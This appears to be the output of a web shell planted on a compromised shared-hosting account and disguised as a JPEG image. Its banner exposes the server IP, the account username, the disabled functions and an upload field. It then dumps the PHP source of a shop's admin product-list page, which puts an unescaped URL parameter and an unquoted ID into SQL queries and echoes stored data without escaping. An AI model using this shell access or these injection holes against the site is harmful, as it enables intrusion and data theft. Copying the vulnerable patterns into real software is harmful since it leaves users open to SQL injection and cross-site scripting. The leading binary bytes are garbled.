����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 162.0.232.25 / Your IP : 18.116.118.214 Web Server : LiteSpeed System : Linux premium276.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : kwacuqig ( 988) PHP Version : 8.2.26 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/kwacuqig/bm1holdings-ltd.com/ |
Upload File : |
<?php include './header.php'; include './assets/php/connect.php'; if (isset($_GET['pageno'])) { $pageno = $_GET['pageno']; } else { $pageno = 1; } $no_of_records_per_page = 10; $offset = (($pageno - 1) * $no_of_records_per_page); $total_pages_sql = "SELECT COUNT(*) FROM `products`"; $result = mysqli_query($conn, $total_pages_sql); $total_rows = mysqli_fetch_array($result)[0]; $total_pages = ceil($total_rows / $no_of_records_per_page); if (isset($_GET['category'])) { if (!empty($_GET['category'])) { $category = $_GET['category']; } } if (!loggedin()) { header('location:./login'); } ?> <div class="breadcrumbs"> <div class="container"> <div class="row"> <div class="col-12"> <div class="bread-inner"> <ul class="bread-list"> <li><a href="home">Home<i class="ti-arrow-right"></i></a></li> <li class="active"><a href="product-list">Product List</a></li> </ul> </div> </div> </div> </div> </div> <?php if (isset($_POST['submit'])) { $pid = mysqli_real_escape_string($conn, $_POST['pid']); $product = mysqli_real_escape_string($conn, $_POST['product']); $category = mysqli_real_escape_string($conn, htmlentities($_POST['category'])); $price = mysqli_real_escape_string($conn, htmlentities($_POST['price'])); $discount = mysqli_real_escape_string($conn, htmlentities($_POST['discount'])); $description = mysqli_real_escape_string($conn, $_POST['description']); $sql = "UPDATE `products` SET `product`='$product', `category`='$category', `price`='$price', `discount`='$discount',`description`='$description' WHERE `pid`=$pid"; //checking if the query has run successfully if (mysqli_query($conn, $sql)) { ?> <script type="text/javascript"> swal("SUCCESS", "<?php echo $product; ?> was successfully updated", "success"); </script> <?php } else { die(mysqli_error($conn)); } } ?> <section class="shop section"> <div class="container"> <div class="row"> <div class="col-lg-3 mb-4"> <div class="account-sidebar"> <div class="sidebar-list"> <a href="product-list?category=Phones" class="active"><i class="far fa-layer-group"></i> Products</a> <a href="add-product"><i class="far fa-upload"></i> Add New Product</a> <a href="logout"><i class="far fa-lock"></i> Logout</a> </div> </div> </div> <div class="col-lg-9"> <div class="account-content"> <h4 class="account-content-title"><i class="far fa-layer-group"></i> Products</h4> <div class="links"> <?php $query = "SELECT * FROM `categories` ORDER BY `sort` ASC"; $run = mysqli_query($conn, $query) or die(mysqli_error($conn)); while ($row = mysqli_fetch_array($run)) { ?> <a href="?category=<?php echo $row['category']; ?>"><?php echo strtoupper($row['category']); ?></a> <?php } ?> </div> <div class="account-content-table"> <div class="table-responsive"> <table class="table table-borderless"> <tr> <th>Image</th> <th>Name</th> <th>Price</th> <th>Action</th> </tr> <?php $query = "SELECT * FROM `products` WHERE `category`='$category' ORDER BY `pid` DESC LIMIT $offset, $no_of_records_per_page"; $run = mysqli_query($conn, $query) or die(mysqli_error($conn)); while ($row = mysqli_fetch_array($run)) { ?> <tr class="account-order-list" data-aos="flip-up" data-aos-duration="600" data-aos-delay="50"> <td class="product-img"><img src="assets/products/<?php echo $row['image']; ?>" alt=""></td> <td> <div class="product-info"><?php echo $row['product']; ?></div> </td> <td> <div class="product-info"><?php echo 'K' . $row['price']; ?></div> </td> <td> <div class="product-info"> <a href="#" class="content-action content-action-mr" data-bs-toggle="modal" data-bs-target="#modal-<?php echo $row['pid']; ?>"><i class="far fa-pen"></i></a> <a href="product-delete.php?pid=<?php echo $row['pid']; ?>" class="content-action" onclick="return confirm('Delete <?php echo $row['product']; ?>?')"><i class="far fa-trash"></i></a> </div> </td> </tr> <!-- The Modal --> <div class="modal fade" id="modal-<?php echo $row['pid']; ?>"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <!-- Modal Header --> <div class="modal-header"> <button type="button" class="btn-close" data-bs-dismiss="modal"></button> </div> <!-- Modal body --> <div class="modal-body"> <div class="account-content bg-white pt-0"> <div class="edit-profile"> <form action="<?php echo htmlspecialchars($_SERVER['PHP_SELF']); ?>" method="POST" enctype="multipart/form-data"> <div class="row"> <div class="col-lg-6"> <div class="mb-3"> <label for="name" class="form-label">Product Name</label> <input type="text" name="product" class="form-control" id="name" value="<?php echo $row['product'] ?>" required> </div> </div> <div class="col-lg-6"> <div class="mb-3"> <label for="category" class="form-label">Category</label> <select name="category" name="category" class="form-control" id="category" required> <option value="<?php echo $row['category']; ?>"><?php echo $row['category']; ?></option> <option value="Electronics">Electronics</option> <option value="Cars">Cars</option> <option value="Fashion & Boutique">Fashion & Boutique</option> </select> </div> </div> <div class="col-lg-6"> <div class="mb-3"> <label for="price" class="form-label">Price</label> <input type="text" name="price" class="form-control" id="price" value="<?php echo $row['price'] ?>" required> </div> </div> <div class="col-lg-6"> <div class="mb-3"> <label for="price" class="form-label">Discount Price</label> <input type="text" name="discount" class="form-control" id="price" value="<?php echo $row['discount'] ?>" required> </div> </div> <div class="col-lg-12"> <div class="mb-3"> <label for="description" class="form-label">Description</label> <textarea class="form-control" name="description" id="description" rows="6" required><?php echo $row['description'] ?></textarea> </div> </div> <input type="hidden" name="pid" value="<?php echo $row['pid']; ?>"> </div> <button type="submit" name="submit" class="btn">Update Product</button> </form> </div> </div> </div> </div> </div> </div> <?php } ?> </table> </div> <div class="col-12"> <div class="pagination center mt-2"> <ul class="pagination-list"> <li><a href="<?php if ($pageno <= 1) { echo '#'; } else { echo "?pageno=" . ($pageno - 1) . "&cateegory=$category"; } ?>"><i class="ti-arrow-left"></i></a></li> <?php for ($i = 1; $i <= 3; $i++) { echo "<li><a href=\"?pageno=$i&category=$category\">$i</a></li>"; } ?> <li><a href="<?php if ($pageno >= $total_pages) { echo '#'; } else { echo "?pageno=" . ($pageno + 1) . "&cateegory=$category"; } ?>"><i class="ti-arrow-right"></i></a></li> </ul> </div> </div> </div> </div> </div> </div> </div> </section> <?php include './footer.php'; include './scripts.php'; ?> <script> document.querySelector("title").innerText = "BM 1 HOLDINGS LTD - PRODUCT LIST"; document.querySelectorAll(".menu-area ul li")[7].classList.add("active"); document.querySelectorAll(".slicknav_nav li a")[8].style.color = "blue"; </script>